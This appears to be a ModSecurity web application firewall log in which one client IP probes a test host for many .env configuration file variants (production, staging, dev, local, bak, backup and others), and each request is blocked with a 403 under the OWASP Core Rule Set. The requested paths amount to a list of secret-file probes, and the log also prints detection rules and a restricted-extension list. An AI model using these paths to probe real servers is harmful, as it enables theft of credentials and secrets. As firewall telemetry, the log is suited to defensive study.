[Wed Mar 11 20:56:30.374975 2026] [:error] [pid 2634210] [client 185.177.72.60:51320] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production.local"] [unique_id "abHI7v-pQA8QpEk0_N8YSQAAAAA"]
[Wed Mar 11 20:56:30.375149 2026] [:error] [pid 2634210] [client 185.177.72.60:51320] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production.local"] [unique_id "abHI7v-pQA8QpEk0_N8YSQAAAAA"]
[Wed Mar 11 20:56:30.375306 2026] [:error] [pid 2634210] [client 185.177.72.60:51320] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production.local"] [unique_id "abHI7v-pQA8QpEk0_N8YSQAAAAA"]
[Wed Mar 11 20:56:30.405702 2026] [:error] [pid 2634210] [client 185.177.72.60:51320] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "abHI7v-pQA8QpEk0_N8YSgAAAAA"]
[Wed Mar 11 20:56:30.405879 2026] [:error] [pid 2634210] [client 185.177.72.60:51320] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "abHI7v-pQA8QpEk0_N8YSgAAAAA"]
[Wed Mar 11 20:56:30.406029 2026] [:error] [pid 2634210] [client 185.177.72.60:51320] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "abHI7v-pQA8QpEk0_N8YSgAAAAA"]
[Wed Mar 11 20:56:30.575592 2026] [:error] [pid 2634210] [client 185.177.72.60:51320] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "abHI7v-pQA8QpEk0_N8YSwAAAAA"]
[Wed Mar 11 20:56:30.575768 2026] [:error] [pid 2634210] [client 185.177.72.60:51320] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "abHI7v-pQA8QpEk0_N8YSwAAAAA"]
[Wed Mar 11 20:56:30.575931 2026] [:error] [pid 2634210] [client 185.177.72.60:51320] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "abHI7v-pQA8QpEk0_N8YSwAAAAA"]
[Wed Mar 11 20:56:30.853288 2026] [:error] [pid 2634210] [client 185.177.72.60:51320] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "abHI7v-pQA8QpEk0_N8YTAAAAAA"]
[Wed Mar 11 20:56:30.853470 2026] [:error] [pid 2634210] [client 185.177.72.60:51320] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "abHI7v-pQA8QpEk0_N8YTAAAAAA"]
[Wed Mar 11 20:56:30.853638 2026] [:error] [pid 2634210] [client 185.177.72.60:51320] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "abHI7v-pQA8QpEk0_N8YTAAAAAA"]
[Wed Mar 11 20:56:31.005546 2026] [:error] [pid 2634210] [client 185.177.72.60:51320] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "abHI7_-pQA8QpEk0_N8YTQAAAAA"]
[Wed Mar 11 20:56:31.005718 2026] [:error] [pid 2634210] [client 185.177.72.60:51320] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "abHI7_-pQA8QpEk0_N8YTQAAAAA"]
[Wed Mar 11 20:56:31.005870 2026] [:error] [pid 2634210] [client 185.177.72.60:51320] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "abHI7_-pQA8QpEk0_N8YTQAAAAA"]
[Wed Mar 11 20:56:31.081482 2026] [:error] [pid 2634210] [client 185.177.72.60:51320] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "abHI7_-pQA8QpEk0_N8YTgAAAAA"]
[Wed Mar 11 20:56:31.081663 2026] [:error] [pid 2634210] [client 185.177.72.60:51320] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "abHI7_-pQA8QpEk0_N8YTgAAAAA"]
[Wed Mar 11 20:56:31.081822 2026] [:error] [pid 2634210] [client 185.177.72.60:51320] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "abHI7_-pQA8QpEk0_N8YTgAAAAA"]
[Wed Mar 11 20:56:31.434982 2026] [:error] [pid 2634212] [client 185.177.72.60:51286] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "abHI72ZJKjLICnPMAflzsgAAAAM"]
[Wed Mar 11 20:56:31.435156 2026] [:error] [pid 2634212] [client 185.177.72.60:51286] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "abHI72ZJKjLICnPMAflzsgAAAAM"]
[Wed Mar 11 20:56:31.435297 2026] [:error] [pid 2634212] [client 185.177.72.60:51286] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "abHI72ZJKjLICnPMAflzsgAAAAM"]
[Wed Mar 11 20:56:31.470791 2026] [:error] [pid 2634214] [client 185.177.72.60:51342] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "abHI7-BvFsx28IYw-q9nDgAAAAg"]
[Wed Mar 11 20:56:31.470964 2026] [:error] [pid 2634214] [client 185.177.72.60:51342] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "abHI7-BvFsx28IYw-q9nDgAAAAg"]
[Wed Mar 11 20:56:31.471123 2026] [:error] [pid 2634214] [client 185.177.72.60:51342] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "abHI7-BvFsx28IYw-q9nDgAAAAg"]
[Wed Mar 11 20:56:31.514281 2026] [:error] [pid 2634323] [client 185.177.72.60:51302] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.uat"] [unique_id "abHI76PPzlNIonXxp6eEkAAAAAw"]
[Wed Mar 11 20:56:31.514631 2026] [:error] [pid 2634323] [client 185.177.72.60:51302] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.uat"] [unique_id "abHI76PPzlNIonXxp6eEkAAAAAw"]
[Wed Mar 11 20:56:31.514857 2026] [:error] [pid 2634323] [client 185.177.72.60:51302] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.uat"] [unique_id "abHI76PPzlNIonXxp6eEkAAAAAw"]
[Wed Mar 11 20:56:31.529338 2026] [:error] [pid 2634319] [client 185.177.72.60:51224] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.vite"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.vite"] [unique_id "abHI7ykCWy977yPh9ymvKQAAAAc"]
[Wed Mar 11 20:56:31.529507 2026] [:error] [pid 2634319] [client 185.177.72.60:51224] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.vite"] [unique_id "abHI7ykCWy977yPh9ymvKQAAAAc"]
[Wed Mar 11 20:56:31.529656 2026] [:error] [pid 2634319] [client 185.177.72.60:51224] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.vite"] [unique_id "abHI7ykCWy977yPh9ymvKQAAAAc"]
[Wed Mar 11 20:56:31.653596 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abHI71HINoBDNij9jADMBwAAAAE"]
[Wed Mar 11 20:56:31.653757 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abHI71HINoBDNij9jADMBwAAAAE"]
[Wed Mar 11 20:56:31.653873 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abHI71HINoBDNij9jADMBwAAAAE"]
[Wed Mar 11 20:56:31.683869 2026] [:error] [pid 2634322] [client 185.177.72.60:51270] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abHI77VttqDN05FhB27I-wAAAAs"]
[Wed Mar 11 20:56:31.684017 2026] [:error] [pid 2634322] [client 185.177.72.60:51270] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abHI77VttqDN05FhB27I-wAAAAs"]
[Wed Mar 11 20:56:31.684188 2026] [:error] [pid 2634322] [client 185.177.72.60:51270] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abHI77VttqDN05FhB27I-wAAAAs"]
[Wed Mar 11 20:56:31.684322 2026] [:error] [pid 2634322] [client 185.177.72.60:51270] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abHI77VttqDN05FhB27I-wAAAAs"]
[Wed Mar 11 20:56:31.686474 2026] [:error] [pid 2634211] [client 185.177.72.60:51314] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "abHI7008hzg1BXieW_K34AAAAAI"]
